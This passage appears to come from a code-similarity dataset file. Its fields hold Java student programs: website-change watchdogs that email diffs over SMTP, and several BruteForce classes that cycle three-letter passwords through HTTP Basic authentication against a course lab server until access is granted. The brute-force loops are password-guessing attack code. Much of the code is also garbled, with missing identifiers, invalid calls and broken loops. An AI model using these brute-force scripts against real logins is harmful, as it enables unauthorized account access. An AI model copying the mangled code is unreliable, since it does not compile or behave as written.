| | \ StringBuffer buffer = new StringBuffer();\n\n while( (ptr = in.next())\ |
| | \ != -1 )\n {\n status++;\n \n buffer.append((char)ptr);\n\ |
| | \ mailFlag++;\n \n }\n return buffer.toString();\n\ |
| | \ }\n\n public void compareDiff(String emailAdd)\n {\n String cmds\ |
| | \ = \"diff test1.txt test2.txt\";\n PrintWriter printW2 = null;\n \ |
| | \ FileOutputStream fout2;\n \n File file = new File(\"diff.txt\");\n\ |
| | \ file.delete();\n String ;\n\n try\n {\n fout2\ |
| | \ = new FileOutputStream(\"diff.txt\",true);\n printW2 = new PrintWriter(fout2);\n\ |
| | \ }\n catch (IOException ioe)\n {\n System.out.println(\"\ |
| | IO Error : \" + ioe);\n }\n\n try\n {\n\n\n \n \ |
| | \ Process ps = Runtime.getRuntime().exec(cmds);\n PrintWriter out\ |
| | \ = new PrintWriter(new OutputStreamWriter(ps.getOutputStream()));\n\n \ |
| | \ printW2.println(loadStream(ps.getInputStream())+\"\\n\");\n printW2.print();\n\ |
| | \n\n if(mailFlag != 0)\n {\n FileReader fRead2;\n\ |
| | \ BufferedReader buf2;\n\n try\n {\n \ |
| | \ fRead2 = new FileReader(\"diff.txt\");\n buf2 = new\ |
| | \ BufferedReader(fRead2);\n String line2;\n int\ |
| | \ i=0;\n\n line = new String(\" some changes the web as followed:\ |
| | \ \\n\");\n \n Socket s = new Socket(\"wombat.cs.rmit.edu.\"\ |
| | , 25);\n out2 = new PrintWriter(s.getOutputStream());\n\n \ |
| | \ send(null);\n send(\"HELO cs.rmit.edu.\");\n \ |
| | \ send(\"MAIL FROM: @.rmit.edu.\");\n \n \ |
| | \ send(\"RCPT : @.rmit.edu.\");\n send(\"DATA\");\n \ |
| | \ \n\n while( (line2 = buf2.readLine()) != null)\n \ |
| | \ {\n \n line= new String(\"\"+line2+\"\\n\");\n \ |
| | \ \n \n\n }\n \ |
| | \ \n \n \n out2.print();\n \ |
| | \ send(\".\");\n s.print();\n }\n \ |
| | \ catch(FileNotFoundException e)\n {\n System.out.println(\"\ |
| | File not found\");\n }\n catch(IOException ioe)\n \ |
| | \ {\n System.out.println(\"IO Error \" + ioe);\n \ |
| | \ }\n }\n\n System.out.println(loadStream(ps.getInputStream()));\n\ |
| | \ \n System.err.print(loadStream(ps.getErrorStream()));\n \ |
| | \ }\n catch(IOException ioe)\n {\n ioe.printStackTrace();\n\ |
| | \ }\n }\n\n public void send(String s) throws IOException\n {\n\ |
| | \ \tresponse = new TextArea();\n \tif(s != null)\n \t{\n \ |
| | \ response.append(s + \"\\n\");\n out2.println(s);\n\t out2.flush();\n\ |
| | \t}\n }\n\n public int getStatus()\n {\n return status;\n }\n}" |
| | sentences: |
| | - "import java.io.*;\nimport java.util.StringTokenizer;\nimport java.net.smtp.SmtpClient;\n\ |
| | import java.util.Timer;\nimport java.util.TimerTask;\n\n\npublic class WatchDog\ |
| | \ {\npublic static void main(String[] args) {\ntry {\nProcess y = Runtime.getRuntime().exec(\"\ |
| | ./init\");\n}\ncatch (Exception e) {System.err.println(e);}\n\n\nWatchDog poodle=new\ |
| | \ WatchDog();\n {\npoodle.startWatch();\n} while(1==1);\n}\n\npublic void startWatch()\ |
| | \ {\nString error_mes=new String();\nString mesg=new String();\nString url=\"\ |
| | wget -p http://www.cs.rmit.edu./students\";\n\ntry {\nProcess a = Runtime.getRuntime().exec(url);\n\ |
| | }\ncatch (Exception e) {System.err.println(e);}\n\ntry {\nProcess b = Runtime.getRuntime().exec(\"\ |
| | diff org/images/ www.cs.rmit.edu./images/\");\n BufferedReader stdInputimages\ |
| | \ = new BufferedReader(new InputStreamReader(b.getInputStream()));\n \ |
| | \ while ((error_mes = stdInputimages.readLine()) != null) {\n\n \ |
| | \ mesg=mesg.concat(error_mes);\n \n \n \ |
| | \ }\n}\ncatch (Exception e) {System.err.println(e);}\n\n\n\n\ntry {\nProcess\ |
| | \ c = Runtime.getRuntime().exec(\"diff org/students/ www.cs.rmit.edu./students/\"\ |
| | );\nBufferedReader stdInputindex = new BufferedReader(new InputStreamReader(c.getInputStream()));\n\ |
| | \ while ((error_mes = stdInputindex.readLine()) != null) {\n \ |
| | \ mesg=mesg.concat(error_mes);\n \n }\n}\n\ |
| | catch (Exception e) {System.err.println(e);}\n\n\nif (mesg.length()>0) { sendEmail(mesg);\ |
| | \ }\n\ntry { Thread.sleep(60*60*24*1000);\n } catch(Exception e) { }\n}\n\n\n\n\ |
| | \n\npublic void sendEmail(String message) {\n{\nString reciever = \"@cs.rmit.edu.\"\ |
| | ;\nString sender = \"WATCHDOG@cs.rmit.edu.\";\n\n try {\n\n \ |
| | \ SmtpClient smtp = new SmtpClient();\n smtp.from(sender);\n\ |
| | \ smtp.to(reciever);\n PrintStream\ |
| | \ msg = smtp.startMessage();\n msg.println(message);\n\ |
| | \ smtp.closeServer();\n }\n\n \ |
| | \ catch (Exception e) {}\n\n }\n}\n}" |
| | - "import java.net.*; \nimport java.io.*; \nimport java.util.regex.*;\nimport java.util.Date;\n\ |
| | import java.util.*;\nimport java.text.*; \n\n\n\n\npublic class WatchDog { \n\ |
| | \ public static BufferedReader in;\n \n\n public static int LIMITINMINUTES=60*24;\n\ |
| | \ public static int TIMELIMIT=LIMITINMINUTES*1000*60;\n public static void main(String[]\ |
| | \ args) throws Exception { \n \n String watchedPage = \"http://www.cs.rmit.edu./students/\"\ |
| | ;\n String currentPage = \"\"; \n \n \n System.out.println(\" stop\ |
| | \ the program, press \\\"Alt + C\\\"\");\n \n boolean loggedout=false;\n\ |
| | \ while (!loggedout){\n \n currentPage=\"\";\n \n \n \ |
| | \ Date date = new Date();\n startTime=date.getTime();\n \n \ |
| | \ \n URL cs = new URL(watchedPage); \n HttpURLConnection connection;\n\ |
| | \ URLConnection csc = cs.openConnection(); \n try {\n\tBufferedReader\ |
| | \ in = new BufferedReader(new InputStreamReader(csc.getInputStream())); \n\tString\ |
| | \ inputLine; \n\t\n\twhile ((inputLine = in.readLine()) != null) {\n\t currentPage\ |
| | \ = currentPage+inputLine;\n\t}\n\t\n }\n catch (IOException s) { \ |
| | \ \n }\n finally {\n\twhile(in!=null)\n in.next();\n \ |
| | \ }\n \n String lastPage=readData();\n if (lastPage.trim().equals(currentPage.trim()))\ |
| | \ {\n\tSystem.out.println(\"Pages match, nothing email.\");\n }\n else\ |
| | \ {\n\t\n\t\n\tString checkCurrentPage = currentPage.trim();\n\tString checkLastPage\ |
| | \ = lastPage.trim();\n\tint iterations;\n\t\n\tboolean lastLongestString;\n\t\ |
| | if (checkCurrentPage.length()<checkLastPage.length()) {\n iterations\ |
| | \ = checkCurrentPage.length();\n\t lastLongestString = true;\n\t}\n\telse {\n\ |
| | \ iterations = checkLastPage.length();\n\t lastLongestString = false;\n\ |
| | \t \n\t}\n\tString additions = \"Here the additions the : \\n\";\n\tboolean\ |
| | \ add=false;\n\tString subtractions = \"Here the parts removed from the : \\\ |
| | n\";\n\tboolean sub=false;\n\tfor (int count=0; count<iterations; count++) {\n\ |
| | \ \n\t if (checkLastPage.length()>count && checkCurrentPage.length()>count){\n\ |
| | \t \n if (checkLastPage.charAt(count)!=(checkCurrentPage.charAt(count)))\ |
| | \ {\n\t \n\t \n\t if (count<20){\n\t\tadditions = \"Sorry changes\ |
| | \ together distinguish additions and subtractions . Here is where : \"+ checkCurrentPage.substring(count,\ |
| | \ checkCurrentPage.length());\n\t\tcount = iterations;\n\t }\n\t else\ |
| | \ {\n\t\t\n\t\t\n\t\tcheckCurrentPage= checkCurrentPage.substring(count, checkCurrentPage.length());\n\ |
| | \t\tcheckLastPage=checkLastPage.substring(count, checkLastPage.length());\n\t\t\ |
| | iterations=iterations-count;\n\t\tcount=0;\n\n\t\t\n\t\t\n\t\t\n\t\tString regexAdd=\"\ |
| | \";\n\t\tif (checkLastPage.length()<20){\n\t\t regexAdd=checkLastPage.substring(count,\ |
| | \ checkLastPage.length());\n\t\t}\n\t\telse {\t \n\t\t regexAdd=checkLastPage.substring(0,19);\n\ |
| | \t\t}\n\t\tString [] changes=checkCurrentPage.split(regexAdd, 2);\n\t\tint changeslength=changes.length;\n\ |
| | \t\t\n\t\tif (changeslength>1){\n\t\t \n\t\t add=true;\n\t\t additions = additions\ |
| | \ + changes[0];\t \n\t\t \n\t\t \n\t\t if (changeslength>1){\n\t\t checkCurrentPage=regexAdd+changes[1];\n\ |
| | \t\t }\n\t\t else {\n\t\t if (lastLongestString==true) \n\t \ |
| | \ count=iterations;\n\t\t } \n\t\t}\n\t\telse { \n\t \t\t \n\t\t \n\t\t \ |
| | \ \n\t\t String regexSub=\"\";\n\t\t if (checkCurrentPage.length()<20){\n\t\t\ |
| | \ regexSub=checkCurrentPage.substring(count, checkCurrentPage.length());\n\t\ |
| | \t }\n\t\t else {\t \n\t\t regexSub=checkCurrentPage.substring(0,19);\n\t\ |
| | \t }\n\t\t String [] changesSub=checkLastPage.split(regexSub, 2);\n\t\t int\ |
| | \ changeslengthSub=changesSub.length;\n\t\t \n\t\t if (changeslengthSub>1){\n\ |
| | \t\t \n\t\t sub=true;\n\t\t subtractions = subtractions + changesSub[0];\t\ |
| | \ \n\t\t \n\t\t \n\t\t if (changeslengthSub>1){\n\t\t checkLastPage=regexSub+changesSub[1];\n\ |
| | \t\t }\n\t\t else {\n\t\t if (lastLongestString==false) \n\t\t \ |
| | \ count=iterations;\n\t\t }\n\t\t \n\t\t \n\t\t }\n\t\t}\n\t }\n\ |
| | \n } \n\t } \n\t} \n\t\n\t\n\tString emailBody=\"Changes have been\ |
| | \ . \\n\"+additions+subtractions;\n\n\t\n\tsendEmail(emailBody);\n }\n\n\ |
| | \ \n writeData(currentPage);\n \n \n wait24(startTime);\n\ |
| | \ } \n } \n \n \n private static void wait24( int startTime) {\n boolean\ |
| | \ waiting=true;\n while(waiting){\n Date endDate = new Date();\n \ |
| | \ endTime=endDate.getTime();\n \n \n if (endTime>(TIMELIMIT+startTime)){\n\ |
| | \ \n waiting=false;\n }\t\n }\n } \n \n \n public\ |
| | \ static String readData() {\n String data;\n String lastPage=\"\";\n \ |
| | \ try {\n BufferedReader in = new BufferedReader(new FileReader(\"LastVisitedPage.html\"\ |
| | ));\n while ((data = in.readLine())!=null) {\n lastPage= lastPage\ |
| | \ + data +\"\\n\";\n }\n \n }\n catch (FileNotFoundException e1)\ |
| | \ {\n System.exit(0);\n }\n catch (IOException e2) {\n System.out.println(\"\ |
| | IO Exception, exiting\");\n System.exit(0);\n }\t \n finally {\n\ |
| | \ try {\n\tif (null!=in) {\n in.next();\n\t}\n }\n catch (IOException\ |
| | \ e3) {}\n }\n return lastPage;\n }\n \n \n public static void writeData(String\ |
| | \ currentPage) {\n PrintWriter out;\n try {\n\tout = new PrintWriter (new\ |
| | \ BufferedWriter(new FileWriter(\"LastVisitedPage.html\")));\n\tout.println(currentPage);\n\ |
| | \t\n\t\n }\n catch (IllegalArgumentException e1) {\n\tSystem.out.println\ |
| | \ (\"Sorry, 't write file. None of changes in this session have been saved\"\ |
| | );\n\tSystem.exit(0);\n }\n catch (IOException e2) {\n\tSystem.out.println\ |
| | \ (\"Sorry, 't write file. None of changes in this session have been saved\"\ |
| | );\n\tSystem.exit(0);\n\t}\n finally {} \n } \n\n \n \n \n public static\ |
| | \ void sendEmail(String emailBody){\n \n Socket smtpSocket =null;\n DataOutputStream\ |
| | \ os = null;\n InputStreamReader is = null ;\n\n Date dDate = new Date();\n\ |
| | \ DateFormat dFormat = DateFormat.getDateInstance(DateFormat.FULL,Locale.US);\n\ |
| | \n try{ \n smtpSocket = new Socket(\".rmit.edu.\", 25);\n os = new\ |
| | \ DataOutputStream(smtpSocket.getOutputStream());\n is = new InputStreamReader(smtpSocket.getInputStream());\n\ |
| | \ BufferedReader = new BufferedReader(is);\n\n if(smtpSocket != null\ |
| | \ && os != null && is != null){ \n \n\ttry { \n\t os.writeBytes(\"HELO\ |
| | \ .rmit.edu.\\r\\n\");\n\t \n\t \n\t os.writeBytes(\"MAIL From: <@.rmit.edu.>\\\ |
| | r\\n\");\n\n\t \n\t os.writeBytes(\"RCPT : <@cs.rmit.edu.>\\r\\n\");\n\n\t \ |
| | \ \n\t \n\t os.writeBytes(\"DATA\\r\\n\");\n\n\t os.writeBytes(\"X-Mailer:\ |
| | \ Via Java\\r\\n\");\n\t os.writeBytes(\"DATE: \" + dFormat.format(dDate) + \"\ |
| | \\r\\n\");\n\t os.writeBytes(\"From: <@cs.rmit.edu.>\\r\\n\");\n\t os.writeBytes(\"\ |
| | : <@cs.rmit.edu.>\\r\\n\");\n\n\t os.writeBytes(\"Subject: updated\\r\\n\"\ |
| | );\n\t os.writeBytes(emailBody + \"\\r\\n\");\n\t os.writeBytes(\"\\r\\n.\\\ |
| | r\\n\");\n\t os.writeBytes(\"QUIT\\r\\n\");\n\n\t \n\t \n\t String responseline;\n\ |
| | \t while((responseline=is.readLine())!=null){ \n \n if(responseline.indexOf(\"\ |
| | Ok\") != -1) {\n break;\n }\n\t }\n\t}\n\tcatch(Exception\ |
| | \ e){ \n\t System.out.println(\"Cannot send email as error occurred.\"); \n\ |
| | \t}\n }\n else \n\tSystem.out.println(\"smtpSocket another variable\ |
| | \ is null!\");\n } \n catch(Exception e){ \n System.out.println(\"\ |
| | Host unknown\"); \n }\n } \n \n} \n\n\n" |
| | - "\t\n\n\nimport java.io.*;\nimport java.net.*;\n\nimport java.util.*;\n\nimport\ |
| | \ java.misc.BASE64Encoder;\n\npublic class BruteForce {\n\n private String userId;\n\ |
| | \ private String password;\n\n private StringBuffer seed= new StringBuffer(\"\ |
| | aaa\");\n private int tries = 1;\t\n\n\n\t\n public BruteForce() {\n\n\n \ |
| | \ \n Authenticator.setDefault (new MyAuthenticator());\n }\n\n public String\ |
| | \ fetchURL (String urlString) {\n\tHttpURLConnection connection;\n\tStringBuffer\ |
| | \ sb = new StringBuffer();\n\tDate startTime, endTime;\n\tint responseCode = -1;\n\ |
| | \tboolean retry = true;\t\n\t\n URL url;\n startTime = new Date();\n \ |
| | \ \n System.out.println (\" time :\" + startTime);\n\n\twhile (retry == true)\n\ |
| | \t{\n\t\n\t try {\n\n\t\t\turl = new URL (urlString);\n\n\t\t\tconnection =\ |
| | \ (HttpURLConnection)url.openConnection();\n\n\t\t\tsetUserId(\"\");\n\t\t\tsetPassword(\"\ |
| | rhk8611\");\n\n\t\t\tSystem.out.println(\"Attempting get a response : \" +connection.getURL()\ |
| | \ );\n\t\t\tresponseCode = connection.getResponseCode();\n\t\t\tSystem.out.print(responseCode\ |
| | \ + \" \");\n\n\t\t\tif (responseCode == HttpURLConnection.HTTP_OK) \n\t\t\t{\n\ |
| | \t\t\t\tretry = false;\n\t\t\t\tSystem.out.println(\"**** ACCESS GRANTED *****\"\ |
| | );\n\t\t\t} else\n\t\t\t{\n\t\t\t\tretry = true;\n\t\t\t\tthrow new IOException(\n\ |
| | \t\t\t\t\t\"HTTP response : \" + String.valueOf(responseCode) + \n\t\t\t\t\t\"\ |
| | \\nResponse Message: \" +connection.getResponseMessage());\n\t\t\t\t\n\t\t\t}\n\ |
| | \n\t\t\tInputStream content = (InputStream)url.getContent();\n\t\t\tBufferedReader\ |
| | \ in = \n\t\t\tnew BufferedReader (new InputStreamReader (content));\n\t\t\t\ |
| | String line;\n\t\t\t\twhile ((line = in.readLine()) != null) {\n\t\t\t\t\tsb.append(line);\n\ |
| | \t\t\t\t}\n\t\t\t} catch (MalformedURLException e) {\n\t\t\t\t\n\t\t\t\tretry=false;\n\ |
| | \t\t\t\tSystem.out.println (\"Invalid URL\" + e.getMessage());\n\t\t\t} catch\ |
| | \ (IOException e) {\n\t\t\t\t\n\t\t\t\tretry=true;\n\t\t\t\tconnection = null;\n\ |
| | \t\t\t\tSystem.out.println (\"Error URL \\n\" + e.getMessage());\n\t\t\t}\n\t\ |
| | \t}\t\n\t\tendTime = new Date();\n\t\tSystem.out.print (\"Total Time taken :\"\ |
| | \ + (endTime.getTime() - startTime.getTime())/1000*60 + \" Minutes \");\n\t\t\ |
| | System.out.println ((endTime.getTime() - startTime.getTime())/1000 + \" Sec\"\ |
| | );\n\t\t\n\t\t\n\treturn sb.toString();\n }\n\n\n public static void main (String\ |
| | \ args[]) {\n\tBruteForce myGenerator = new BruteForce();\n\n\n\t\n\n\n\tSystem.out.println(\"\ |
| | Starting seed is : \"+ myGenerator.getSeed() );\n\tString pageFound = myGenerator.fetchURL(\"\ |
| | http://sec-crack.cs.rmit.edu./SEC/2/\");\n\t\t\n\tSystem.out.println(\" ACCESSED\ |
| | \ ->\\n\" + pageFound);\n }\n\n class MyAuthenticator extends Authenticator\ |
| | \ {\n protected PasswordAuthentication getPasswordAuthentication()\n\t{\n\t\ |
| | \tString username = getUserId();\n\t\tString pass = getPassword();\t\n\t\tif (pass.equals(\"\ |
| | ZZZ\"))\n\t\t{\n\t\t\tSystem.out.println(\"\\nReached the end of combinations.\ |
| | \ EXITING.\\n\");\n\t\t\tSystem.exit(0);\n\t\t}\n\t\tif ((tries % 8) == 0 )\n\t\ |
| | \t{\n\t\t\tpass = \"\" + getNextPassword();\n\t\t}else \n\t\t{\n\t\t\tpass = \"\ |
| | \"+ getNextPasswordCase(\"\"+getSeed(), tries%8);\n\t\t}\n\t\ttries ++;\n\n\t\ |
| | \ System.out.println(tries + \" Authenticating with -> \" + pass);\n\n\t return\ |
| | \ new PasswordAuthentication (username, pass.toCharArray());\n\t \n }\n }\n\ |
| | \t\n\tpublic String getPassword()\n\t{\n\t\treturn this.password;\n\t}\n\n\tpublic\ |
| | \ void setPassword(String password)\n\t{\n\t\tthis.password = password;\n\t}\n\ |
| | \n\t\n\tpublic String getUserId()\n\t{\n\t\treturn this.userId;\n\t}\n\n\tpublic\ |
| | \ void setUserId(String userId)\n\t{\n\t\tthis.userId = userId;\n\t}\n\n\tpublic\ |
| | \ StringBuffer getNextPassword()\n\t{\n\t\tfinal int STRING_RADIX = 36;\n\t\t\n\ |
| | \t\tint changeDigit;\n\t\tint dig;\n\t\tchar cdig;\n\t\t\n\t\t\n\t\tchangeDigit\ |
| | \ = 2;\n\t\tif (getSeed().charAt(changeDigit) < 'z')\n\t\t{\n\t\t\tdig = Character.digit(getSeed().charAt(changeDigit),\ |
| | \ STRING_RADIX);\n\t\t\tdig = dig + 1;\n\t\t\tcdig = Character.forDigit(dig, STRING_RADIX);\n\ |
| | \t\t\tseed.setCharAt(changeDigit,cdig);\n\t\t\t\t\n\t\t} else\n\t\t{\n\t\t\t\n\ |
| | \t\t\tseed.setCharAt(2,'a');\n\t\t\t\n\t\t\t\n\t\t\tchangeDigit = 1;\n\t\t\tif\ |
| | \ (getSeed().charAt(changeDigit) < 'z')\n\t\t\t{\n\t\t\t\tdig = Character.digit(getSeed().charAt(changeDigit),\ |
| | \ STRING_RADIX);\n\t\t\t\tdig = dig + 1;\n\t\t\t\tcdig = Character.forDigit(dig,\ |
| | \ STRING_RADIX);\n\t\t\t\tseed.setCharAt(changeDigit,cdig);\n\t\t\t} else\n\t\t\ |
| | \t{\n\t\t\t\t\n\t\t\t\tseed.setCharAt(2,'a');\n\t\t\t\t\n\t\t\t\tseed.setCharAt(1,'a');\n\ |
| | \t\t\t\t\n\t\t\t\t\n\t\t\t\tchangeDigit = 0;\n\t\t\t\tif (getSeed().charAt(changeDigit)\ |
| | \ < 'z')\n\t\t\t\t{\n\t\t\t\t\tdig = Character.digit(getSeed().charAt(changeDigit),\ |
| | \ STRING_RADIX);\n\t\t\t\t\tdig = dig + 1;\n\t\t\t\t\tcdig = Character.forDigit(dig,\ |
| | \ STRING_RADIX);\n\t\t\t\t\tseed.setCharAt(changeDigit,cdig);\n\t\t\t\t}\n\t\t\ |
| | \t\t\n\t\t\t}\n\t\t\t\n\t\t}\n\n\t\treturn getSeed();\n\t\n\t}\n\n\tprivate StringBuffer\ |
| | \ getNextPasswordCase(String pwd, int inx)\n\t{\n\t\tStringBuffer casePwd = new\ |
| | \ StringBuffer(pwd);\n\t\tchar myChar;\n\t\tswitch (inx)\n\t\t{\n\t\t\tcase 1:\n\ |
| | \t\t\t\tmyChar = pwd.charAt(0);\n\t\t\t\tcasePwd.setCharAt(0, Character.toUpperCase(myChar));\n\ |
| | \t\t\t\tbreak;\n\t\t\tcase 2:\n\t\t\t\tmyChar = pwd.charAt(1);\n\t\t\t\tcasePwd.setCharAt(1,\ |
| | \ Character.toUpperCase(myChar));\n\t\t\t\tbreak;\n\t\t\tcase 3:\n\t\t\t\tmyChar\ |
| | \ = pwd.charAt(2);\n\t\t\t\tcasePwd.setCharAt(2, Character.toUpperCase(myChar));\n\ |
| | \t\t\t\tbreak;\n\t\t\tcase 4:\n\t\t\t\tmyChar = pwd.charAt(0);\n\t\t\t\tcasePwd.setCharAt(0,\ |
| | \ Character.toUpperCase(myChar));\n\t\t\t\tmyChar = pwd.charAt(1);\n\t\t\t\tcasePwd.setCharAt(1,\ |
| | \ Character.toUpperCase(myChar));\n\t\t\t\tbreak;\n\t\t\tcase 5:\n\t\t\t\tmyChar\ |
| | \ = pwd.charAt(0);\n\t\t\t\tcasePwd.setCharAt(0, Character.toUpperCase(myChar));\n\ |
| | \t\t\t\tmyChar = pwd.charAt(2);\n\t\t\t\tcasePwd.setCharAt(2, Character.toUpperCase(myChar));\n\ |
| | \t\t\t\tbreak;\n\t\t\tcase 6:\n\t\t\t\tmyChar = pwd.charAt(1);\n\t\t\t\tcasePwd.setCharAt(1,\ |
| | \ Character.toUpperCase(myChar));\n\t\t\t\tmyChar = pwd.charAt(2);\n\t\t\t\tcasePwd.setCharAt(2,\ |
| | \ Character.toUpperCase(myChar));\n\t\t\t\tbreak;\n\t\t\tcase 7:\n\t\t\t\tmyChar\ |
| | \ = pwd.charAt(0);\n\t\t\t\tcasePwd.setCharAt(0, Character.toUpperCase(myChar));\n\ |
| | \t\t\t\tmyChar = pwd.charAt(1);\n\t\t\t\tcasePwd.setCharAt(1, Character.toUpperCase(myChar));\n\ |
| | \t\t\t\tmyChar = pwd.charAt(2);\n\t\t\t\tcasePwd.setCharAt(2, Character.toUpperCase(myChar));\n\ |
| | \t\t\t\tbreak;\n\t\t}\n\t\treturn(casePwd);\n\t\t\n\t}\t\n\tpublic StringBuffer\ |
| | \ getSeed()\n\t{\n\t\treturn this.seed;\n\t}\n\n\tpublic void setSeed(StringBuffer\ |
| | \ seed)\n\t{\n\t\tthis.seed = seed;\n\t}\n\n\n\n} \n\n\n" |
| | - source_sentence: "import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public\ |
| | \ class BruteForce {\n\n URLConnection conn = null;\n private static boolean\ |
| | \ status = false;\n\n public static void main (String args[]){\n BruteForce\ |
| | \ a = new BruteForce();\n String[] inp = {\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\ |
| | ,\n \t\t\t\t \"\",\n \t\t\t\t \"\"};\n int attempts = 0;\n exit:\n\ |
| | \ for (int i=0;i<pwdArray.length;i++) {\n\t\t for (int j=0;j<pwdArray.length;j++)\ |
| | \ {\n\t\t\t for (int k=0;k<pwdArray.length;k++) {\n\t\t\t\t if (pwdArray[i] ==\ |
| | \ ' ' && pwdArray[j] != ' ') continue;\n\t\t\t\t if (pwdArray[j] == ' ' && pwdArray[k]\ |
| | \ != ' ') continue;\n\t\t\t\t inp[2] = inp[2] + pwdArray[i] + pwdArray[j] + pwdArray[k];\n\ |
| | \t\t\t\t attempts++;\n \t\t\t a.doit(inp);\n \n \t\t\t\t if (status) {\n\ |
| | \t\t\t\t\t System.out.println(\"Crrect password is: \" + inp[2]);\n\t\t\t\t\t\ |
| | \ System.out.println(\"Number of attempts = \" + attempts);\n\t\t\t\t\t break\ |
| | \ exit;\n\t\t\t \t }\n \t\t\t inp[2] = \"\";\n\t\t \t }\n\t \t }\n }\n\ |
| | \ }\n\n public void doit(String args[]) {\n \n try {\n BufferedReader\ |
| | \ in = new BufferedReader(\n new InputStreamReader\n (connectURL(new\ |
| | \ URL(args[0]), args[1], args[2])));\n String line;\n while ((line\ |
| | \ = in.readLine()) != null) {\n System.out.println(line);\n \ |
| | \ status = true;\n }\n }\n catch (IOException e) {\n \n\ |
| | \ }\n }\n\n public InputStream connectURL (URL url, String uname,\ |
| | \ String pword)\n throws IOException {\n conn = url.openConnection();\n\ |
| | \ conn.setRequestProperty (\"Authorization\",\n userNamePasswordBase64(uname,pword));\n\ |
| | \ conn.connect ();\n return conn.getInputStream();\n }\n\n public\ |
| | \ String userNamePasswordBase64(String username, String password) {\n return\ |
| | \ \" \" + base64Encode (username + \":\" + password);\n }\n\n private final\ |
| | \ static char pwdArray [] = {\n\t 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h',\n\ |
| | \t 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p',\n\t 'q', 'r', 's', 't',\ |
| | \ 'u', 'v', 'w', 'x',\n\t 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F',\n\t \ |
| | \ 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N',\n\t 'O', 'P', 'Q', 'R',\ |
| | \ 'S', 'T', 'U', 'V',\n\t 'W', 'X', 'Y', 'Z', ' '\n };\n\n private final\ |
| | \ static char base64Array [] = {\n 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',\n\ |
| | \ 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n 'Q', 'R', 'S', 'T', 'U',\ |
| | \ 'V', 'W', 'X',\n 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',\n 'g',\ |
| | \ 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n 'o', 'p', 'q', 'r', 's', 't', 'u',\ |
| | \ 'v',\n 'w', 'x', 'y', 'z', '0', '1', '2', '3',\n '4', '5', '6',\ |
| | \ '7', '8', '9', '+', '/'\n };\n\n private static String base64Encode (String\ |
| | \ string) {\n String encodedString = \"\";\n byte bytes [] = string.getBytes\ |
| | \ ();\n int i = 0;\n int pad = 0;\n while (i < bytes.length) {\n \ |
| | \ byte b1 = bytes [i++];\n byte b2;\n byte b3;\n if (i\ |
| | \ >= bytes.length) {\n b2 = 0;\n b3 = 0;\n pad = 2;\n\ |
| | \ }\n else {\n b2 = bytes [i++];\n if (i >= bytes.length)\ |
| | \ {\n b3 = 0;\n pad = 1;\n }\n else\n\ |
| | \ b3 = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n\ |
| | \ byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2\ |
| | \ & 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString\ |
| | \ += base64Array [c1];\n encodedString += base64Array [c2];\n switch\ |
| | \ (pad) {\n case 0:\n encodedString += base64Array [c3];\n \ |
| | \ encodedString += base64Array [c4];\n break;\n case 1:\n\ |
| | \ encodedString += base64Array [c3];\n encodedString += \"=\"\ |
| | ;\n break;\n case 2:\n encodedString += \"==\";\n \ |
| | \ break;\n }\n }\n return encodedString;\n }\n }\n\n" |
| | sentences: |
| | - "\n\nimport java.awt.*;\nimport java.String;\nimport java.util.*;\nimport java.io.*;\n\ |
| | import java.net.*;\n\n\n\npublic class BruteForce\n{\n private URL url;\n \ |
| | \ private HttpURLConnection connection ;\n private int stopTime = 0;\n private\ |
| | \ int startTime = 0;\n private int count = 0;\n\n public BruteForce()\n\ |
| | \ {\n System.out.println(\"Process is running...\");\n startTime =\ |
| | \ System.currentTimeMillis();\n threeLetters();\n twoLetters();\n \ |
| | \ }\n\n public static void main (String args[])\n {\n BruteForce bf =\ |
| | \ new BruteForce();\n }\n \n public void threeLetters()\n {\n String\ |
| | \ s1;\n char [] a = {'a','a','a'};\n\n for (int i0 = 0; i0 < 26; i0++)\n\ |
| | \ {\n for (int i1 = 0; i1 < 26; i1++)\n {\n for\ |
| | \ (int i2 = 0; i2 < 26; i2++)\n {\n s1 = String.valueOf((char)(a[0]\ |
| | \ + i0)) + String.valueOf((char)(a[1] + i1)) +\n\t\t String.valueOf((char)(a[2]\ |
| | \ + i2));\n decision(s1);\n count++;\n\n \ |
| | \ s1 = String.valueOf((char)(a[0] + i0)) + String.valueOf((char)(a[1] + i1))\ |
| | \ +\n (String.valueOf((char)(a[2] + i2))).toUpperCase();\n\ |
| | \ decision(s1);\n count++;\n\n s1 =\ |
| | \ String.valueOf((char)(a[0] + i0)) + (String.valueOf((char)(a[1] + i1))).toUpperCase()\ |
| | \ +\n (String.valueOf((char)(a[2] + i2))).toUpperCase();\n\ |
| | \ decision(s1);\n count++;\n\n s1 =\ |
| | \ (String.valueOf((char)(a[0] + i0))).toUpperCase() +\n (String.valueOf((char)(a[1]\ |
| | \ + i1))).toUpperCase() +\n (String.valueOf((char)(a[2] + i2))).toUpperCase();\n\ |
| | \ decision(s1);\n count++;\n\n s1 =\ |
| | \ (String.valueOf((char)(a[0] + i0))) + (String.valueOf((char)(a[1] + i1))).toUpperCase()\ |
| | \ +\n String.valueOf((char)(a[2] + i2));\n decision(s1);\n\ |
| | \ count++;\n\n s1 = (String.valueOf((char)(a[0] +\ |
| | \ i0))).toUpperCase() + String.valueOf((char)(a[1] + i1)) +\n\t\t String.valueOf((char)(a[2]\ |
| | \ + i2));\n decision(s1);\n count++;\n\n \ |
| | \ s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() + String.valueOf((char)(a[1]\ |
| | \ + i1)) +\n (String.valueOf((char)(a[2] + i2))).toUpperCase();\n\ |
| | \ decision(s1);\n count++;\n\n s1 =\ |
| | \ (String.valueOf((char)(a[0] + i0))).toUpperCase() +\n (String.valueOf((char)(a[1]\ |
| | \ + i1))).toUpperCase() + String.valueOf((char)(a[2] + i2));\n decision(s1);\n\ |
